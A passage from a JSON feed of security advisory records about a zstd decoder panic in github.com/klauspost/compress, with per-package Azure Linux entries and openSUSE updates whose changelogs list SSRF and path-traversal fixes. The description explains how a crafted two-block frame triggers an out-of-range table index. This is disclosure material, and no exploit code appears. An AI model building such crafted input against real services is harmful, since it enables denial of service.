int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:19.001909Z"},{"id":"AZL-112085","title":"CVE-2026-116591 affecting package moby-engine 25.0.18-1","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:19.001909Z"},{"id":"AZL-112100","title":"CVE-2026-116591 affecting package opa 0.63.0-6","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T14:17:00.680317544Z","updated_at":"2026-11-05T16:41:19.001909Z"},{"id":"AZL-112109","title":"CVE-2026-116591 affecting package packer 1.9.5-23","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:19.001909Z"},{"id":"AZL-112235","title":"CVE-2026-116591 affecting package skopeo 1.14.4-15","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:19.001909Z"},{"id":"AZL-112247","title":"CVE-2026-116591 affecting package telegraf 1.31.0-36","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T14:17:11.502562104Z","updated_at":"2026-11-05T16:41:19.001909Z"},{"id":"AZL-112274","title":"CVE-2026-116591 affecting package vitess 19.0.4-16","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:19.001909Z"},{"id":"BELL-CVE-2026-116591","status":"published","published":"2026-10-30T06:06:45.806026Z","modified":"2026-11-10T07:15:04.657980451Z","updated_at":"2026-11-10T07:24:03.242864Z"},{"id":"GO-2026-6865","title":"Panic on two-block frames in github.com/klauspost/compress","description":"Panic on two-block frames in github.com/klauspost/compress","status":"published","published":"2026-11-05T22:54:32Z","modified":"2026-11-05T23:15:14.472777299Z","updated_at":"2026-11-06T00:02:13.631839Z"},{"id":"openSUSE-SU-2026:12313-1","title":"aliyun-cli-3.5.2-2.1 on GA media","description":"These are all security issues fixed in the aliyun-cli-3.5.2-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-28T00:00:00Z","modified":"2026-10-29T12:15:05.54036103Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:12317-1","title":"cadvisor-0.60.6-5.1 on GA media","description":"These are all security issues fixed in the cadvisor-0.60.6-5.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-28T00:00:00Z","modified":"2026-10-29T12:15:07.152770426Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:12318-1","title":"distribution-registry-3.1.2-4.1 on GA media","description":"These are all security issues fixed in the distribution-registry-3.1.2-4.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-28T00:00:00Z","modified":"2026-10-29T12:15:05.187717119Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:12323-1","title":"crane-0.22.1-3.1 on GA media","description":"These are all security issues fixed in the crane-0.22.1-3.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-28T00:00:00Z","modified":"2026-10-29T12:15:06.043980889Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:12325-1","title":"hauler-2.1.2-3.1 on GA media","description":"These are all security issues fixed in the hauler-2.1.2-3.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-28T00:00:00Z","modified":"2026-10-29T12:15:06.951504142Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:12326-1","title":"helm-4.3.1-3.1 on GA media","description":"These are all security issues fixed in the helm-4.3.1-3.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-28T00:00:00Z","modified":"2026-10-29T12:15:06.55470535Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:12327-1","title":"helm3-3.22.1-2.1 on GA media","description":"These are all security issues fixed in the helm3-3.22.1-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-28T00:00:00Z","modified":"2026-10-29T12:15:05.53628203Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:12340-1","title":"amazon-cloudwatch-agent-1.300073.2-3.1 on GA media","description":"These are all security issues fixed in the amazon-cloudwatch-agent-1.300073.2-3.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-29T00:00:00Z","modified":"2026-10-31T18:00:08.590725029Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:12430-1","title":"google-osconfig-agent-20261103.02-1.1 on GA media","description":"These are all security issues fixed in the google-osconfig-agent-20261103.02-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-11-05T00:00:00Z","modified":"2026-11-06T17:23:11.661021044Z","updated_at":"2026-11-06T18:05:03.243497Z"},{"id":"openSUSE-SU-2026:12479-1","title":"syft-1.56.0-1.1 on GA media","description":"These are all security issues fixed in the syft-1.56.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-11-06T00:00:00Z","modified":"2026-11-07T17:23:16.631781868Z","updated_at":"2026-11-07T17:50:39.727056Z"},{"id":"openSUSE-SU-2026:22218-1","title":"Security update for cadvisor","description":"This update for cadvisor fixes the following issues:\n\nChanges in cadvisor:\n\n- update vendor.tar to address:\n  * bsc#1288588, CVE-2026-116591: github.com/klauspost/compress/zstd:\n    crafted ~27 KB two-block zstd frame makes DecodeAll and the\n    streaming decoder panic\n\n  * bsc#1288212, CVE-2026-78663: golang.org/x/net/http2: double\n    flow control refund on HTTP/2 server streams\n","status":"published","published":"2026-11-02T14:11:21Z","modified":"2026-11-04T17:23:23.822342109Z","updated_at":"2026-11-04T17:43:22.558805Z"},{"id":"openSUSE-SU-2026:22227-1","title":"Security update for go-containerregistry","description":"This update for go-containerregistry fixes the following issues:\n\nChanges in go-containerregistry:\n\n- update vendor.tar to address:\n  * bsc#1288488, CVE-2026-116591: github.com/klauspost/compress/zstd:\n    crafted ~27 KB two-block zstd frame makes DecodeAll and the\n    streaming decoder panic\n\n- update to 0.22.1:\n  * Reject non-canonical IP literals in all SSRF guards\n  * daemon: fix stale docker/docker reference in WithClient docs\n  * build(deps): bump the go-deps group across 2 directories with\n    4 updates\n  * authn: do not overwrite AuthConfig.Auth when username and\n    password are empty\n  * build(deps): bump the actions group across 1 directory with 8\n    updates\n  * Support pulling images by sha512 digest\n  * Allow empty label and annotation values in crane mutate\n  * fix(build): Use dependencies.gitSource in cloudbuild_v2.yaml\n  * validate: support index attestation manifests and empty\n    configs\n  * name: improve error when parsing a reference with a URL\n    scheme\n  * fix(build): install binaries to /ko-app and add to PATH\n  * fix(release): honor declared Go toolchain\n  * remote: apply checkRedirectSSRF to writer-side HTTP clients\n  * flatten: preserve config and layer media types when\n    flattening\n  * fix(mutate): make Time layer updates lazy\n  * build(deps): bump the go-deps group across 2 directories with\n    3 updates\n  * remote: copy manifest annotations to referrers fallback tag\n    descriptors\n\n- update to 0.22.0:\n  * mutate: let Time and Canonical take tarball.LayerOption\n  * build: add multi-architecture Cloud Build configurations for\n    crane, gcrane, and krane\n  * remote: resolve push-check credentials against the repository\n  * Allow single-character repository paths\n  * fix: add missing substitutions and workspace cleanup to new\n    build files\n  * remote: retry failed Puller and Pusher initialization\n  * build(deps): bump the actions group across 1 directory with 8\n    updates\n  * build(deps): bump the go-deps group across 1 directory with 3\n    updates\n  * go.mod: bump Go version + add toolchain directive to replace\n    .go-version file\n  * fix: Fix new build options and provenance\n  * fix(build): unify new build flow into cloudbuild_v2.yaml\n\n- update to 0.21.8 (bsc#1283692, CVE-2026-63209):\n  * The artifacts attached to this release are missing SLSA\n    provenance, see #2390.\n  * build(deps): bump the go-deps group across 1 directory with 3\n    updates\n  * build(deps): bump golang.org/x/crypto from 0.45.0 to 0.52.0\n    in /cmd/krane\n  * build(deps): bump golang.org/x/crypto from 0.50.0 to 0.52.0\n    in /pkg/authn/k8schain\n  * build(deps): bump golang.org/x/net from 0.49.0 to 0.55.0 in\n    /pkg/authn/kubernetes\n  * build(deps): bump the go-deps group across 3 directories with\n    7 updates\n  * build(deps): bump the actions group across 1 directory with 5\n    updates\n  * Reject unsafe Windows archive paths in Extract\n  * feat(goreleaser): add loong64 build support for\n    crane/gcrane/krane\n  * Document tag and digest reference semantics\n  * remote: release pull limiter slot when body is read to EOF\n  * tarball: bounds-check layer index in uncompressed\n    LayerByDiffID\n  * authn: read Podman auth from XDG config\n  * transport: per-host bearer token exchange on cross-host\n    redirect\n  * mutate: bounds-check layer index when building rebase\n    addendums\n  * fix(daemon): copy ExposedPorts from source config in\n    computeImageConfig\n  * feat(remote): add WithReferrersTagFallback option\n  * mutate: apply opaque-directory whiteouts (.wh..wh..opq) in\n    Extract\n  * tarball: use correct file extension for zstd/uncompressed\n  * build(deps): bump github.com/moby/moby/client from 0.5.0 to\n    0.5.1 in the go-deps group across 1 directory\n  * actions: update actions to be pinned by hash\n  * Bump go version to 1.26.5\n\n- update to 0.21.7:\n  * tarball: return error instead of panicking on missing\n    rootfs.diff_ids\n  * gcrane: honor --platform flag in copy\n  * mutate: verify layer digests in Extract and Time\n  * tarball: close layer readers during Write\n  * build(deps): bump the actions group across 1 directory with 2\n    updates\n  * build(deps): bump github.com/docker/cli from\n    29.4.3+incompatible to 29.5.2+incompatible in the go-deps\n    group across 1 directory\n  * BUGFIX: Fail with error when read exceeds maximum\n  * build(deps): bump the actions group across 1 directory with 2\n    updates\n  * fix(name): anchor loopback registry detection\n  * Reject symlinks in OCI layout blobs\n  * fix(crane): avoid creating export tar on pull failure\n  * feat(kubernetes): allow ignoring pull secrets\n  * fix(name): preserve localhost registry references\n  * pkg/registry: export ErrNotFound\n  * pkg/registry: export RedirectError\n  * build(deps): bump the go-deps group across 1 directory with 2\n    updates\n  * build(deps): bump the actions group across 1 directory with 2\n    updates\n  * fix: prevent SSRF in google.List() pagination\n  * internal/gzip: fix goroutine leak in ReadCloserLevel\n  * fix(transport): apply refreshed bearer token after cross-host\n    redirect\n  * build(deps): bump the go-deps group across 3 directories with\n    4 updates\n  * fix(tarball): normalize paths when matching files\n  * transport: do not re-attach bearer token after cross-host\n    redirect\n  * Bump CI go version to 1.26.4\n- update to 0.21.6:\n  * fix: update dependencies to use new azure sdk components\n  * transport: restore resp.Body in retryError so CheckError can\n    parse it\n  * pkg/registry: return 202 Accepted for PATCH chunk uploads\n  * Follow OCI distribution spec for artifactType and annotations\n  * actions: attach Codecov token to coverage tests on main\n  * remote: use DeleteScope (with \"delete\" action) for manifest\n    deletion\n  * remote: limit concurrent layer pulls\n  * pkg/registry: reject corrupt disk blobs\n  * mutate: close layer readers during export\n  * crane/flatten: preserve image media type when flattening\n  * build(deps): bump goreleaser/goreleaser-action from 7.0.0 to\n    7.2.1 in the actions group across 1 directory\n  * build(deps): bump go.opentelemetry.io/otel from 1.36.0 to\n    1.41.0\n  * build(deps): bump the go-deps group across 3 directories with\n    6 updates\n  * Replace go-homedir with os.UserHomeDir\n  * pkg/name: only treat .localhost as non-HTTPS, not .local\n  * transport: block unspecified IPs (0.0.0.0, ::) in\n    validateRealmURL\n  * test(mutate): add Extract round-trip test for filesystem\n    object preservation\n  * experiments: remove deprecated support for estargz\n  * build(deps): bump aws-actions/configure-aws-credentials from\n    6.1.0 to 6.1.1 in the actions group\n  * fix: limit HTTP response body reads to prevent OOM\n  * build(deps): bump the go-deps group across 3 directories with\n    6 updates\n  * transport: block redirects from token server to private/link-\n    local addresses (SSRF fix)\n  * pkg/v1/mutate: preserve relative symlinks that stay within\n    rootfs in Extract\n  * validate: skip non-layer layers\n  * remote: validate foreign layer URLs to prevent SSRF (fixes\n    #2259)\n  * remote: block SSRF via private-IP Location headers in blob\n    uploads\n  * fix(mutate): preserve config blob and layers for non-Docker\n    OCI artifacts\n  * fix: preserve per-occurrence layer identity in\n    mutate.Image.Layers()\n  * transport: retry HTTP 429 (Too Many Requests)\n  * transport: allow bearer realm at same host:port as registry\n  * Update go version to 1.26.3\n- update to 0.21.5:\n  * Bump docker/cli v29.4.0, moby/api v1.54.1, moby/client v0.4.0\n  * update to Go 1.26.2\n  * Bump aws-actions/configure-aws-credentials from 6.0.0 to\n    6.1.0 in the actions group across 1 directory\n  * build(deps): bump golang.org/x/tools from 0.43.0 to 0.44.0 in\n    the go-deps group across 1 directory\n  * **Full Changelog**: https://github.com/google/go-\n    containerregistry/compare/v0.21.4...v0.21.5\n- update to 0.21.4:\n  * go.mod: do not make a viral minimum go version\n  * Avoid pruning absolute links from extracted and flattened\n    images\n  * Bump the go-deps group across 3 directories with 5 updates\n  * fix: update to go1.25.8, and use separate .go-version file\n  * Bump CI go version to 1.26.1\n  * Bump codecov/codecov-action from 5.5.2 to 5.5.3 in the\n    actions group\n  * fork distribution client v3 auth-challenge as an internal\n    package (squashed)\n  * transport: validate Bearer realm URL to prevent SSRF\n  * revert path traversal and symlink escape from #2227\n  * Fix pkg/v1/google/auth tests for arm64\n  * goreleaser: Update goreleaser config and GH action\n\n- update to 0.21.3:\n  * Adds local file support to the `crane index` subcommand\n  * migrate to github.com/moby/moby modules\n  * Bump the go-deps group across 4 directories with 7 updates\n  * Bump goreleaser/goreleaser-action from 6.4.0 to 7.0.0 in the\n    actions group\n  * mutate: reject path traversal and symlink escape in Extract\n  * tarball: detect symlink cycles in extractFileFromTar\n  * bump golang to 1.25.7\n- update to 0.21.2:\n  * Better handle redirects to https in ping\n  * **Full Changelog**: https://github.com/google/go-\n    containerregistry/compare/v0.21.1...v0.21.2\n\n- update to 0.21.1:\n  * Add WithFileBufferedOpener for file-backed daemon image\n    buffering\n  * crane: fix case in auth response json\n- update to 0.21.0:\n  * fix(mutate): don't skip dir replacements via whiteout in\n    export\n  * Improve performance of v1.NewHash\n  * Bump the actions group across 1 directory with 4 updates\n  * Bump the root-deps group across 1 directory with 7 updates\n  * Fix error messages in crane_test.go\n  * Bump go version across packages to 1.25.6\n  * Join go.mod dependency updates\n  * Bump the go-deps group across 3 directories with 3 updates\n  * Disable taint gosec lints\n  * Update go version used in goreleaser\n- update to 0.20.7:\n  * Fix ArgsEscaped lint directive\n  * transport: Fix broken links to distribution docs\n  * fix(remote): using customized retry predicate func if\n    provided\n  * Adding docker file\n  * crane: Add timestamp to flatten layer\n  * feat(remote): pass retryBackoff option to transport\n  * Expose clobber refusal error\n  * Build artifacts for riscv64\n  * Update dependencies and deprecate DockerVersion field\n\n- update to 0.20.7:\n  * Fix ArgsEscaped lint directive\n  * transport: Fix broken links to distribution docs\n  * fix(remote): using customized retry predicate func if\n    provided\n  * Adding docker file\n  * crane: Add timestamp to flatten layer\n  * feat(remote): pass retryBackoff option to transport\n  * Expose clobber refusal error\n  * Build artifacts for riscv64\n  * Update dependencies and deprecate DockerVersion field\n\n\n- update to 0.20.6:\n  * Ensure that tag name is not empty if name contains colon\n  * Bump some deps\n- update to 0.20.5:\n  * build(deps): bump docker/docker to v28.0.0+incompatible\n  * Migrate linter to v2\n  * bump go version + bump deps\n  * implement TextMarshaler/JSONMarshaler more consistently\n  * Update CodeQL permissions\n  * Update goreleaser permissions\n  * Update provenance action in release\n  * Update validator action\n\n- CVE-2025-22868: golang.org/x/oauth2/jws: Unexpected memory consumption\n  during token parsing in golang.org/x/oauth2 (bsc#1239277)\n\n- update to 0.20.3:\n  * remote/transport: Make bearer transport go-routine-safe\n  * Expose compare package\n  * fix: redact.URL uses (*URL).Redacted to omit basic-auth\n    password\n  * bump actions to latest\n  * don't pin chainguard-dev/actions\n  * Check for 406 status code when handling referrers API\n    endpoint response\n  * mutate: Create a defensive annotations copy\n  * Detect zstd in crane append\n  * bump deps using hack/bump-deps.sh\n- update to 0.20.2:\n  * deps: bump docker dep\n","status":"published","published":"2026-11-03T18:16:30Z","modified":"2026-11-04T14:15:08.553856052Z","updated_at":"2026-11-04T14:31:33.296313Z"},{"id":"openSUSE-SU-2026:22228-1","title":"Security update for hauler","description":"This update for hauler fixes the following issues:\n\nChanges in hauler:\n\n- update vendor.tar to address:\n  * bsc#1288460, CVE-2026-116591, github.com/klauspost/compress/zstd:\n    crafted ~27 KB two-block zstd frame makes DecodeAll and the\n    streaming decoder panic\n","status":"published","published":"2026-11-03T18:16:31Z","modified":"2026-11-04T14:15:29.50799541Z","updated_at":"2026-11-04T14:31:33.296313Z"},{"id":"openSUSE-SU-2026:22241-1","title":"Security update for aliyun-cli","description":"This update for aliyun-cli fixes the following issue:\n\n- CVE-2026-116591: github.com/klauspost/compress/zstd: crafted ~27 KB two-block zstd frame makes DecodeAll and the\n  streaming decoder panic (bsc#1288500).\n\nUpdate to version 3.5.2:\n\n * fix: preserve command targets with leading --force by @pl0301 in (#1459)\n * fix(argparser): preserve object-like input in string arrays and\n stop consuming tokens after a complete JSON array by @AllyW in (#1463)\n * fix: read product help endpoints from canonical version metadata\n by @pl0301 in (#1466)\n * Fixed the issue of incorrect API parameter name values displayed by\n --help in non-plugin paths. by @yuexiu94 in (#1470)\n * fix: improve unknown OSS option diagnostics by @PanPanZou in (#1464)\n * fix: surface real pip error when plugin install fails (#1409)\n by @mengjunwei-mjw in (#1479)\n * fix: update Go security baseline and dependencies by @PanPanZou in (#1477)\n * fix: require HTTPS and checksums for plugin package installs\n by @yndu13 in (#1469)\n * fix: OAuth callback binding and add --no-browser login by @AllyW in (#1461)\n * fix: emit structured profile configuration errors in AI mode\n by @pl0301 in (#1476)\n * test: expand CLI unit coverage and failure recovery checks\n by @PanPanZou in (#1478)\n * fix: honor config path when refreshing OAuth and CloudSSO credentials\n by @PanPanZou in (#1468)\n * feat: support CLI credentials in MCP proxy by @PanPanZou in (#1465)\n * Sign release archives and publish an SBOM and provenance for each one\n by @yndu13 in (#1473)\n * fix: clarify safety policy configuration and confirmation boundaries\n by @Winphies in (#1480)\n * feat(openapi): tell \"confirmed free\" apart from \"cannot be quoted\" in\n --estimate-cost by @api-tool-agent in (#1410)\n * feat: apply API metadata read timeout defaults by @pl0301 in (#1475)\n * Add shared CloudSSO sessions across profiles by @AllyW in (#1481)\n * fix: validate JSON parameters as parent values by @Winphies in (#1485)\n","status":"published","published":"2026-11-04T09:26:42Z","modified":"2026-11-11T17:23:13.668247182Z","updated_at":"2026-11-11T17:47:15.466074Z"}]},"sources_more":{"osv":1}}